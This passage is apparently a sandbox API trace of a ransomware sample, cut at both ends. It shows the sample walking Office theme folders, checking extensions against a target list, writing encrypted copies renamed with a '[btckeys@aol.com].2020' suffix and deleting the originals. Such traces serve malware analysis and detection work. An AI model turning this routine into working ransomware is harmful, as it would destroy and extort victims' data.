(lpString=".zip") returned 4 [0081.189] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.189] lstrlenW (lpString=".rar") returned 4 [0081.189] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.189] lstrlenW (lpString=".bz2") returned 4 [0081.189] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.189] lstrlenW (lpString=".7z") returned 3 [0081.189] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.190] lstrlenW (lpString=".dbf") returned 4 [0081.190] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.190] lstrlenW (lpString=".1cd") returned 4 [0081.190] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.190] lstrlenW (lpString=".jpg") returned 4 [0081.190] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.190] lstrlenW (lpString=".doc") returned 4 [0081.190] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.190] lstrlenW (lpString=".docx") returned 5 [0081.190] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.190] lstrlenW (lpString=".pdf") returned 4 [0081.190] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.190] lstrlenW (lpString=".xls") returned 4 [0081.190] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.190] lstrlenW (lpString=".xlsx") returned 5 [0081.190] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.190] lstrlenW (lpString=".ppt") returned 4 [0081.190] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.191] lstrlenW (lpString=".zip") returned 4 [0081.191] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.191] lstrlenW (lpString=".rar") returned 4 [0081.191] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.191] lstrlenW (lpString=".bz2") returned 4 [0081.191] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.191] lstrlenW (lpString=".7z") returned 3 [0081.191] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.191] lstrlenW (lpString=".dbf") returned 4 [0081.191] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.191] lstrlenW (lpString=".1cd") returned 4 [0081.191] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0081.191] lstrlenW (lpString=".jpg") returned 4 [0081.191] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.191] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.191] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.192] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2476) returned 1 [0081.192] CloseHandle (hObject=0x198) returned 1 [0081.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 0x20 [0081.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.193] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.193] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.700] GetLastError () returned 0x0 [0081.700] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0081.743] WriteFile (in: hFile=0x204, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0081.744] ReadFile (in: hFile=0x198, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.744] WriteFile (in: hFile=0x204, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.744] SetEndOfFile (hFile=0x204) returned 1 [0081.744] CloseHandle (hObject=0x204) returned 1 [0081.745] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.745] SetEndOfFile (hFile=0x198) returned 1 [0081.746] CloseHandle (hObject=0x198) returned 1 [0081.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.746] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0081.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.746] lstrlenW (lpString=".doc") returned 4 [0081.746] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.746] lstrlenW (lpString=".docx") returned 5 [0081.747] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.747] lstrlenW (lpString=".pdf") returned 4 [0081.747] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.747] lstrlenW (lpString=".xls") returned 4 [0081.747] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.747] lstrlenW (lpString=".xlsx") returned 5 [0081.747] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.747] lstrlenW (lpString=".ppt") returned 4 [0081.747] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.747] lstrlenW (lpString=".zip") returned 4 [0081.747] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.747] lstrlenW (lpString=".rar") returned 4 [0081.747] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.747] lstrlenW (lpString=".bz2") returned 4 [0081.747] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.747] lstrlenW (lpString=".7z") returned 3 [0081.747] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.747] lstrlenW (lpString=".dbf") returned 4 [0081.747] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.747] lstrlenW (lpString=".1cd") returned 4 [0081.747] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.747] lstrlenW (lpString=".jpg") returned 4 [0081.747] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.747] lstrlenW (lpString=".doc") returned 4 [0081.748] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.748] lstrlenW (lpString=".docx") returned 5 [0081.748] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.748] lstrlenW (lpString=".pdf") returned 4 [0081.748] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.748] lstrlenW (lpString=".xls") returned 4 [0081.748] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.748] lstrlenW (lpString=".xlsx") returned 5 [0081.748] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.748] lstrlenW (lpString=".ppt") returned 4 [0081.748] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.748] lstrlenW (lpString=".zip") returned 4 [0081.748] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.748] lstrlenW (lpString=".rar") returned 4 [0081.748] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.748] lstrlenW (lpString=".bz2") returned 4 [0081.748] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.748] lstrlenW (lpString=".7z") returned 3 [0081.748] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.748] lstrlenW (lpString=".dbf") returned 4 [0081.748] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.748] lstrlenW (lpString=".1cd") returned 4 [0081.748] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0081.748] lstrlenW (lpString=".jpg") returned 4 [0081.749] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.749] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.749] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0082.029] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=21745) returned 1 [0082.029] CloseHandle (hObject=0x1d8) returned 1 [0082.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0082.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0082.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0082.029] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.029] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0082.030] GetLastError () returned 0x0 [0082.030] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x54f1, lpOverlapped=0x0) returned 1 [0082.032] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x5500, lpOverlapped=0x0) returned 1 [0082.033] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.033] WriteFile (in: hFile=0x20c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0082.033] SetEndOfFile (hFile=0x20c) returned 1 [0082.033] CloseHandle (hObject=0x20c) returned 1 [0082.033] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.033] SetEndOfFile (hFile=0x1d8) returned 1 [0082.034] CloseHandle (hObject=0x1d8) returned 1 [0082.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0082.034] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0082.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.035] lstrlenW (lpString=".doc") returned 4 [0082.035] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0082.035] lstrlenW (lpString=".docx") returned 5 [0082.035] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0082.035] lstrlenW (lpString=".pdf") returned 4 [0082.035] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0082.035] lstrlenW (lpString=".xls") returned 4 [0082.035] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0082.035] lstrlenW (lpString=".xlsx") returned 5 [0082.035] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0082.035] lstrlenW (lpString=".ppt") returned 4 [0082.035] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0082.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.035] lstrlenW (lpString=".zip") returned 4 [0082.035] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0082.035] lstrlenW (lpString=".rar") returned 4 [0082.035] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0082.035] lstrlenW (lpString=".bz2") returned 4 [0082.035] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0082.035] lstrlenW (lpString=".7z") returned 3 [0082.035] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0082.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.035] lstrlenW (lpString=".dbf") returned 4 [0082.035] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0082.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.035] lstrlenW (lpString=".1cd") returned 4 [0082.035] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0082.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.036] lstrlenW (lpString=".jpg") returned 4 [0082.036] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0082.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.036] lstrlenW (lpString=".doc") returned 4 [0082.036] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0082.036] lstrlenW (lpString=".docx") returned 5 [0082.036] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0082.036] lstrlenW (lpString=".pdf") returned 4 [0082.036] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0082.036] lstrlenW (lpString=".xls") returned 4 [0082.036] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0082.036] lstrlenW (lpString=".xlsx") returned 5 [0082.036] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0082.036] lstrlenW (lpString=".ppt") returned 4 [0082.036] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0082.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.036] lstrlenW (lpString=".zip") returned 4 [0082.036] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0082.036] lstrlenW (lpString=".rar") returned 4 [0082.036] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0082.036] lstrlenW (lpString=".bz2") returned 4 [0082.036] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0082.037] lstrlenW (lpString=".7z") returned 3 [0082.037] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0082.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.037] lstrlenW (lpString=".dbf") returned 4 [0082.037] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0082.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.037] lstrlenW (lpString=".1cd") returned 4 [0082.037] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0082.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0082.037] lstrlenW (lpString=".jpg") returned 4 [0082.037] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0082.037] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0082.037] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0082.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0082.038] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1666) returned 1 [0082.038] CloseHandle (hObject=0x1d8) returned 1 [0082.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0082.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0082.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0082.039] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.039] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0082.040] GetLastError () returned 0x0 [0082.040] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x682, lpOverlapped=0x0) returned 1 [0082.041] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x690, lpOverlapped=0x0) returned 1 [0082.042] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.042] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0082.042] SetEndOfFile (hFile=0x1dc) returned 1 [0082.042] CloseHandle (hObject=0x1dc) returned 1 [0082.042] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.042] SetEndOfFile (hFile=0x1d8) returned 1 [0082.043] CloseHandle (hObject=0x1d8) returned 1 [0082.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0082.043] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0082.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.043] lstrlenW (lpString=".doc") returned 4 [0082.043] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0082.043] lstrlenW (lpString=".docx") returned 5 [0082.043] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0082.043] lstrlenW (lpString=".pdf") returned 4 [0082.043] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0082.043] lstrlenW (lpString=".xls") returned 4 [0082.043] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0082.044] lstrlenW (lpString=".xlsx") returned 5 [0082.044] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0082.044] lstrlenW (lpString=".ppt") returned 4 [0082.044] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.044] lstrlenW (lpString=".zip") returned 4 [0082.044] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0082.044] lstrlenW (lpString=".rar") returned 4 [0082.044] lstrcmpiW 